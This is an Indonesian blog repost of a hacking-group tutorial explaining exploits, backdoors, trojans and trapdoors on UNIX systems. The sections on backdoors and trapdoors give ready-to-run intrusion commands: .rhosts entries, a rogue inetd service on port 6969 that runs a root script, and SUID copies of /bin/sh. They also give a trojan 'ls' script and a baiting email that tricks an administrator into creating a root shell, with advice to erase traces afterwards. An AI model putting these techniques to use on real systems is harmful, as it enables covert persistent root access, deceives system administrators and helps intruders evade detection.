Jumat, 08 Januari 2010

Istilah hacking


Eksploit, Trapdoor, Backdoor, dan Trojan Horse dijelaskan


oleh Ganjaman dan SuperCock [members of IndoHack]

Artikel ini ditujukan untuk memandu mereka yang masih bingung denganterminologi sekuritas jaringan komputer seperti exploit, trojan, dll daningin mengetahui konsep-konsep dasarnya. Terimakasih kepada staf kecoakyang bersedia mempublikasikan artikel ini, terutama LithiumError dan BigDyang telah memberikan masukan-masukan sangat berguna kepada kami. Sepertibiasa, ini hanyalah untuk tujuan informasi saja, dan mungkin sysadmin yangmembaca bisa menggunakan informasi ini untuk melindungi sistem dibawahpengawasan mereka. Artikel ini berisi metode backdoor/trapdoor dankode-kode yang bisa langsung diterapkan, sebab kami ingin agar parapembaca mengetahui bagaimana * tepatnya * metode ybs bekerja. Dan lagi,menyensor informasi bukanlah urusan kami.

1. Eksploit

Sekarang tentunya kamu sudah asyik bermain-main dan bereksperimen denganshell UNIX baru yang baru kamu 'dapatkan'. Dan mungkin sekarang kamu sudahmulai bertanya-tanya, "apa sih eksploit (exploit, 'sploits) itu?". Dalamkonteks per-hacking-an, eksploit tidaklah jauh berbeda dengan artinyadalam konteks harfiah, yaitu 'pemanfaatan'. Tentunya eksploit-eksploit'hacking' lebih spesifik lagi, yang kurang lebih bisa diartikan sebagai'pemanfaatan kelemahan dari sebuah sistem untuk tujuan-tujuan yang diluardari penggunaan normal.' Kelemahan-kelemahan ini bisa berupa kesalahanpemrograman, sesuatu yang tidak direncanakan oleh pemrogram asli, danlain-lain. Umumnya, yang jelas paling menarik perhatian kita, adalaheksploit yang akan memberikan kita akses tidak terbatas ke seluruh aspekdari sebuah sistem. Dalam UNIX, sering kita dengar istilah 'mengeksploitprogram anu untuk mendapat privilese root'. Tentu saja mendapatkan 'root'bukanlah satu-satunya tujuan pengeksploitan sistem. Seperti yang mungkinanda sudah alami sendiri, kadang sebuah cacat dalam program seperti maildatau ftpd bisa dimanfaatkan untuk tujuan 'header forging', 'ip spoofing','denial of service attack', dan 'mail bombing' (hello, Anton Pardede!).

Eksploit secara besar sering dibagi menjadi dua, yaitu eksploit lokal daneksploit remote. Eksploit lokal adalah jenis eksploit yang hanya bisadijalankan jika kamu sudah punya akses ke dalam suatu sistem (baik itumelalui login telnet, ftp, dll). Eksploit jenis ini jumlahnya banyak,sebab kamu sudah punya akses ke ribuan program yang berpotensi untukdi-eksploit. Contoh - contoh dari eksploit jenis ini adalah bufferoverflow (i.e. mh di RedHat 5, SuperProbe, dll), race conditions (dimanadua proses saling berlomba untuk menyelesaikan tugas masing-masing,biasanya proses A disuruh untuk menjalankan suatu utilitas yangmembutuhkan privilese root temporer sementara proses B dirancang untukmencegat proses A sebelum proses A kembali statusnya ke privilese userbiasa, mengakibatkan di-spawn-nya shell beridentitas root - sering terjadidi mesin-mesin IRIX dan SunOS.) Bagaimana caranya agar saya bisamendapatkan eksploit seperti ini? Tentu saja kamu bisa menghabiskan waktuberjam-jam untuk mengutak-utik sebuah program sampai berhasil kamu jebol(lebih baik dilakukan di kotak kamu sendiri), seperti para 'elite'lainnya. Biasanya eksploit diprogram dengan C, perl, atau sh. Namun kalauilmu kungfu kamu masih kayak kami (dan emang bawaannya malas), banyakeksploit yang sudah didokumentasi dan tersedia melalui websearch, atau disitus-situs tertentu, seperti:

http://www.rootshell.com

http://www.antionline.com

http://www.rhino9.com

http://www.dhp.com/~fyodor

atau di situs kecoak, http://k-elektronik.org/arsip/eksploit

Eksploit jenis satunya lagi adalah eksploit remote, dimana kamu bisamengeksploit sistem tanpa mengetahui otorisasi user/password. Tentu sajaeksploit-eksploit jenis ini jauh lebih sedikit jumlahnya, dan terkadangdampaknya juga tidak separah eksploit lokal. Lubang cgi phf adalah salahsatu contoh dari pemanfaatan eksploit remote untuk mendapatkan file/etc/passwd (dulu LithErr pernah memberi resep cepat memanfaatkan phf).Mungkin belum terlihat fatal, namun sekalinya sang 'cracker' berhasilmasuk ke dalam sistem memanfaatkan login dan password dari salah seoranguser, maka dia bisa menjalankan eksploit-eksploit lokal untuk mendapatkanakses tak terbatas milik root. Eksploit port 143 (IMAPd) malahan lebihgila lagi, dengan memberikan akses root tanpa password. Apa trik dan tipyang kira-kira berguna untuk memanfaatkan eksploit-eksploit remote? Jelassebuah portscanner sangatlah bermanfaat untuk melihat port-port mana sajayang menerima koneksi. Beberapa jenis 'scanner' lebih terfokus lagi,seperti cgi scanner dari kecoak (roachscan) yang saat dijalankan akanmemeriksa direktori cgi-bin dari sejumlah server sekaligus, mencari filepassword atau jalan masuk lainnya, melalui beberapa jenis eksploit umum.Satu program lain yang mungkin ada gunanya adalah 'netcat', bisa didapatdari http://www.l0pht.com. Untuk menghemat waktu, banyak cracker yangmenulis skrip otomasi, jalankan skrip, tinggal berikan daftartarget-target dan tinggalkan untuk sementara waktu. Kembali lagi sejamatau dua jam kemudian, tinggal diperiksa server-server mana saja yang adalobangnya, bisa dieksploit atau tidak, dll (coba lihat artikel-artikelmengenai scanning/probing di situs-situs hacker).

Terkadang ada juga eksploit yang tidak begitu jelas jenisnya, sepertieksploit lynx mailer, yang walaupun kodenya sendiri terletak di host lain,namun untuk digunakan masih perlu campurtangan dari user lokal untuk bisabekerja (saat user meng-click sebuah link, sang eksploit akan mengirimkanfile password ke alamat email tertentu.)

2. Backdoor

Seperti terjemahan harfiahnya, backdoor bisa dianggap 'pintu masuk lewatbelakang'. Backdoor berfungsi untuk memberikan sang programmer akses kesuatu sistem, tanpa sepengetahuan user lain ataupun sang sysadmin. Tentusaja sang programer di sini bisa juga diartikan 'sang penyusup'.Seringkali backdoor memberikan akses tak terbatas kepada siapapun jugayang mengetahui jalan masuknya. Walaupun tidak jarang vendor-vendor besar(baik hardware maupun software ) yang sengaja menempatkan backdoor takterdokumentasi untuk kemudahan 'maintenance' dan sejenisnya, dalam artikelini yang dimaksud adalah backdoor dalam artian memberikan akses root kedalam sebuah sistem UNIX sebagai antisipasi jika sang sysadmin kebetulanmenyadari bahwa ada penyerang di dalam sistem.Kamu sudah semalaman begadang, mencoba eksploit-eksploit remote, danberhasil masuk ke sebuah sistem dengan memanfaatkan login user dan segeramenjalankan eksploit-eksploit lokal untuk mengambil alih kekuasaan root.Tentunya sayang jika saat sang sysadmin kembali bekerja di keesokanharinya, akses kamu ditutup. Nah, disinilah manfaatnya kita menanam satuatau lebih jalan masuk 'alternatif'. Jelas, sebagian besar teknik-teknikbackdooring hanya bisa diterapkan jika kamu mempunyai perizinan root.Ingat, bahwa tujuan membuat backdoor bukanlah untuk mendapatkan aksesroot, tetapi untuk mendapatkan akses root LAGI setelah sang sysadminmenutup segala jalan masuk normal. Terkadang sysadmin sering menganggapselama file-file /etc/hosts.deny telah dikonfigurasi, maka segala koneksidari host kamu akan ditolak. Tentu saja kalian-kalian, sang cracker,kelihaian kung fu nya jauh di atas sang sysadmin, sebab tanpasepengetahuan beliau, telah kamu set up beberapa jalan masuk alternatifdengan privilese root.

Nah, backdoor backdoor ini ada yang memang sudah dari sononya (sepertiBackdoor di router-router, printserver, dll buatan 3Com), namun disiniakan kami jelaskan cara membuat backdoor kamu sendiri di sebuah sistemUNIX. Jalan termudah (dan yang paling gampang ditangkap) adalah denganmelalui file /.rhosts:

korban# echo "indohack2.ri.go.id ganjaman" >> /.rhosts

perintah diatas akan menambah satu entri di file .rhosts (sistem luar-dalam contoh diatas user ganjaman dari indohack2.ri.go.id - yang bolehmengakses account tanpa password), dan untuk masuk kembali ke sistem dariaccount "ganjaman" di indohack2.ri.go.id :

ganjaman@indohack2> rlogin -l root korban.lameisp.net.id

poof! shell root tanpa password!Untuk kalian yang ingin sedikit lebih tersembunyi lagi, coba perhatikanentri berikut dari file /etc/passwd sebuah sistem:

bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false

tentunya bagi mereka yang sering memanen password entri seperti di atassudah tidak asing lagi. Account diatas adalah account yang digunakan olehUNIX sistem secara internal. Seringkali banyak diantara crackers yangmengambil jalan singkat dan menghapus karakter *, mengakibatkan telnetdengan nama login "bin" tidak memerlukan password. Tapi ingatlah bahwafile /etc/passwd biasanya adalah file pertama yang akan diperiksa olehsang sysadmin saat dia menyadari bahwa sistemnya telah kena susup. Agarkita lebih sulit dideteksi, maka ada baiknya kita buat file .rhosts dihome directory milik bin. Kembali ke entri file password diatas, bisa kitalihat bahwa walaupun kita bisa me- rlogin -l bin korban.lameisp.net.id,namun kita masih juga tidak bisa mendapatkan shell sebab account 'bin'dikonfigurasikan untuk menolak penggunaan shell. Cara mengatasi masalahini tentunya dengan membuat link dari /bin/false ke /bin/sh atau/bin/tcsh. Apa daya seorang sysadmin? Tentunya jika mereka memang kerenkung fu nya, sang sysadmin akan mensetup sebuah skrip yang memeriksakeberadaan file-file .rhosts di dalam sebuah sistem. Tak lupa merubahentri dari account-account internal dari /bin/false ke /nggak-ada-tuh ataustring unik lainnya yang bukan merupakan nama file.

Metode backdooring lain adalah dengan memanfaatkan "in.rootd" (sebenernyaini hanyalah rekayasa saja, sebab sepanjang pengetahuan kami, nggak adatuh yang namanya root daemon - tapi metode ini benar-benar cocok disebutrootd) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewatsalah satu port yang didefinisikan dalam "inetd":

root@korban# echo "ntcp 6969/tcp # Network Traffic Control Protocol" >>

/etc/services

root@korban# echo "ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r" >>

/etc/inetd.conf

root@korban# echo "echo indohack2.ri.go.id > ~root/.rhosts" > /tmp/crax0r

menjalankan tiga perintah diatas bisa mengakibatkan kompromisasi sistemyang cukup dahsyat, namun tidak akan segera tampak. Penjelasan dari ketigaperintah diatas:1. mengaktifkan protokol ntcp di port 6969 (tentunya kamu memilih nomorport lain yang tidak begitu mencurigakan, silakan pilih mulai dari 1024sampai 65000-an), sedangkan "Network Traffic Control Protocol" adalahkarangan kamu sendiri sebab setiap service harus punya nama, dan biasanyasysadmin tidak akan begitu curiga dengan nama seperti itu.2. memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0rsetiapkali sang sistem menerima koneksi telnet lewat port 6969. Sayangnyamengeksekusi sebuah shell berprivilese root lewat cara ini hanya akanmengakibatkan sang sistem bengong, sebab kita tidak bisa memberikanperintah-perintah selayaknya kita login lewat jalur normal. Sang shellakan tetap dijalankan, namun tidak akan bisa mengeksekusi perintah kita.Untuk itulah kita buat satu skrip di direktori /tmp/crax0r (tentunya kamulebih pintar dan memilih nama yang tidak begitu mencurigakan seperti/tmp/dev001).

Nah, perintah ketiga ini lah yang akan dieksekusi oleh sang shell yangbaru saja kita luncurkan (id=0 - root!). Tentunya kamu bisa saja menulisskrip yang lebih kompleks. Namun untuk menghemat tempat, kita lancarkansaja perintah yang sudah dibahas diatas, yaitu menambahkan entri darimesin host kita ke file .rhosts milik root.Tentu jika sang admin memang keren kung funya, rlogind akandikonfigurasikan untuk tidak mengindahkan file .rhosts, namun jika kamuperiksa isi direktori dan file "history" milik root dan isinya menunjukkanbahwa sang sysadmin tidak begitu melek soal keamanan, maka metode diatasakan memberikan jalan masuk lewat belakang ke dalam sistem target (idih,kesannya kayak cerita-cerita porno anal seks aja!). Sekarang kamu tinggal:

ganjaman@indohack2> telnet korban.lameisp.net.id 6969

nah, sistem kamu akan tersambung ke sistem target lewat port 6969,sedangkan daemon inet di mesin korban akan menerima sambungan tersebut,menjalankan perintah dalam skrip /tmp/crax0r dengan privilese root, dandengan segera menutup kembali sambungan telnet. Sekarang .rhosts milikroot sudah ditambahi satu entri lagi, yaitu nama host kamu. Untuk kembalimenggarap sistem target (sebaiknya dilakukan saat itu juga, sebab sangsysadmin mungkin akan curiga melihat skrip 'asing' dijalankan lewat port6969) kamu tinggal:

ganjaman@indohack2> rlogin -l root korban.lameisp.net.id

dan, BOOM!

Korban#

shell root tanpa password! (Nah, sekarang kamu boleh kirim surat penggemarke indohack@hotmail.com, bertitel "Terimakasih, suhu Ganjaman danSuperCock, atas ilmu ngent... engin badannya ..." :) ). Tapi ingatlah untuksegera menghapus file .rhosts dan jejak jejak lain. Tentunya kalau kung fukamu emang udah cukup tinggi, teknik menyembunyikan diri dan antideteksiudah bukan barang asing bagi kamu, jadi, jangan lupa aktifkan segalaspoofer program, dll. Kalau kamu benar-benar suka mengutak-utik, seranganbisa dibuat dengan lebih tersembunyi lagi, seperti dengan memanfaatkanservice-service yang jarang (hampir tidak pernah dipakai) sepertiutilitas-utilitas X, segala utilitas berkepala "r", dan banyak lagi.

Metode lain yang cukup populer adalah dengan membuat sebuah file denganbit SUID tambahan, namun cara ini gampang terdeteksi jika kebetulan sistemmempunyai program audit keamanan yang akan mensensus seluruh file berbitSUID yang terletak diluar lokasi-lokasi wajar (seperti /tmp atau lokasihomedir user). Ide yang lebih mantap lagi adalah dengan memodifikasi suatuprogram yang sudah berjalan / terinstal secara default, seperti xterm dansplitvt, sehingga sebuah option rootshell akan secara otomatisexecv("/bin/sh", "sh", NULL);.

Kalau kamu emang pendekar asli (dan entah kenapa sedang membaca artikelkelas kacangan ini), kamu bisa modifikasi daemon-daemon yang sedangberjalan untuk menerima perintah-perintah hasil karangan kamu sendiri.Berikut adalah cuplikan dari metode milik Hacker nagageni 212 yang telahberhasil memodifikasi program sendmail di server korban.com

(PSM=Pukulan Sinar Matahari):

12@GG> telnet korban.com 25

Trying mesin.korban.com …

Connected to mesin.korban.com.

Escape character is '^]'.

220 mesin.korban.com ESMTP Sendmail 8.8.5/8.8.5; ... [snip] …

PSM_EXEC /bin/cp /bin/sh /tmp/elit

Done ... master!

PSM_EXEC /bin/chmod 4755 /tmp/elit

Done ... master!



Jika menurut kamu cuplikan diatas sudah cukup familiar, maka kami dengansegala kerendahan hati minta izin untuk berguru!

3 Trojan Horse

Tidak akan banyak penjelasan mengenai metode ini, sebab pada umumnyaTrojan Horse hanya efektif jika kamu betul-betul pintar menutupi suatuprogram atau jika sang sysadmin memang betul-betul tolol. Pada prinsipnya,Trojan Horse adalah program yang mempunyai 'feature' gelap. Misalnya kamumembuat sebuah game yang cukup heboh dan kamu dengan sengaja menyelipkanperintah untuk membuka akses di dalam kode game kamu, sedemikian rupasehingga saat sang sysadmin menjalankan program tersebut, tanpadisadarinya file .rhosts nya telah ketambahan sesuatu. Kami kenal seoranghacker yang lihai menulis skrip IRC, dan skrip IRC-nya kebetulan mempunyaibanyak peminat. Beberapa 'lamers' mendownload skrip tersebut tanpamenyadari bahwa sang skrip menyelipkan beberapa perintah untuk mengizinkanakses tak berpassword kepada sang penulis asli skrip. (Hello, Tut!)

4 Trapdoor

Banyak persamaan antara Trapdoor dengan Backdoor dan Trojan Horse, namundalam artikel ini, 'Trapdoor' diasumsikan sebagai cara yang bisa kitagunakan untuk menjebak (trap) sang sysadmin untuk memberikan kita aksesroot kedalam sistem. Seringkali kita terbentur masalah sistem operasi yangpaling gres, atau sebuah sistem dimana hampir semua eksploit untukmendapatkan root tidak berjalan sama sekali (patched systems). Janganputus asa! Masih banyak metode yang bisa kita terapkan untuk membuat sangsysadmin tertipu, berakibat dibukanya akses ke dalam sistem. Misalkan kamusudah berhari-hari mengoprek sebuah target dengan menggunakan account danpassword seorang user biasa hasil colongan lewat phf, dan sayangnya tidakada exploit yang mempan. Nah, sudah saatnya kita terapkan metode Trapdoor.Berikut adalah metode Trapdoor yang walaupun sederhana, masih saja bisamengelabui puluhan sysadmin diluar sana.Pertama-tama, kamu perlu merubah perizinan homedir kamu (atau homedirmilik user yang accountnya kamu 'pinjam'):

user1@korban> chmod 700 ~/.

Nah, karena sekarang homedir kamu bermode 700, sang syadmin perlumengganti privilesenya ke root jika beliau ingin memeriksa isi direktoriybs. Nah, langkah berikutnya adalah membuat sebuah skrip yang bertugasuntuk bertingkahlaku selayaknya perintah biasa, namun diluar pengetahuansang admin, justru membuka satu (atau beberapa) kelemahan dalam sistem.Yang langsung terpikir olehmu, jelas, perintah ls. Disinilah letakkelemahan UNIX dibanding ... uh, MS-DOS. Dalam UNIX, seorang sysadmin yangbaik selalu mengetik 'full pathname' dari program manapun yang diajalankan (seperti /bin/ls atau /usr/sbin/vi index.html), dan untuk tujuankemudahan, biasanya /bin atau /usr/sbin sudah dimasukkan dalam daftarsearch path. Jadi jika misalnya sang sysadmin melakukan:

root# pwd

/usr/home/staff/user1

root# ls

maka yang dijalankan adalah program /bin/ls. Apa akibatnya jika kebetulandalam direktori /usr/home/staff/user1 kita letakkan sebuah skrip bernama'ls'? Heheheh ... cukup menarik, khan. Nah, sekarang kita bisa buat sebuahskrip yang berisi:

#!/bin/sh

cp /bin/sh /tmp/vi-save-902887

chown root /tmp/vi-save-902887

chmod 4755 /tmp/vi-save-902887

rm ./ls

ls

simpan skrip tersebut di homedir user1, beri nama "ls" dan

user1@korban> chmod +x ls

sekarang tinggal pintar-pintarnya kamu mengakali sang sysadmin untukmengecek isi homedir user1. Jika kamu kebetulan punya login/passwd untukuser2 di mesin yang sama, maka kamu bisa saja 'mengundang' sang admin.Login sebagai user1, dan kirim imel

user1@korban> mail root@localhost

Subject: "Heheheh ... Kena garap dari belakang!"

Hello sysadmin tolol! Mesin kamu sudah kebobolan!

Ttd,

God of All Hackers, Virus Researchers and Lame Mailbombers,

Phardera

Saat menerima imel ini, sang Syadmin pun akan segera memeriksa isi homediruser1 (dengan perintah ls, tentunya), dan tanpa disadari sang sysadmintelah menciptakan sebuah shell root di /tmp/vi-save-902887. Dan, karenavi-save-902887 ber-SUID root, kamu bisa melakukan bermacam-macam halmenyenangkan dengannya. Tinggal login sebagai user2 beberapa waktukemudian, dan nikmati ketenangan pikiran lewat shell root! Heheheh …

Penutup

Begitu dulu, deh, penjelasan dari kami. Semoga ada gunannya untuk kaliansemua. Nggak lupa iseng-iseng nereakin seluruh kru IndoHack, hackerindo,underground, dan kecoak elektronik!

0 komentar:

 

blogger templates | Make Money Online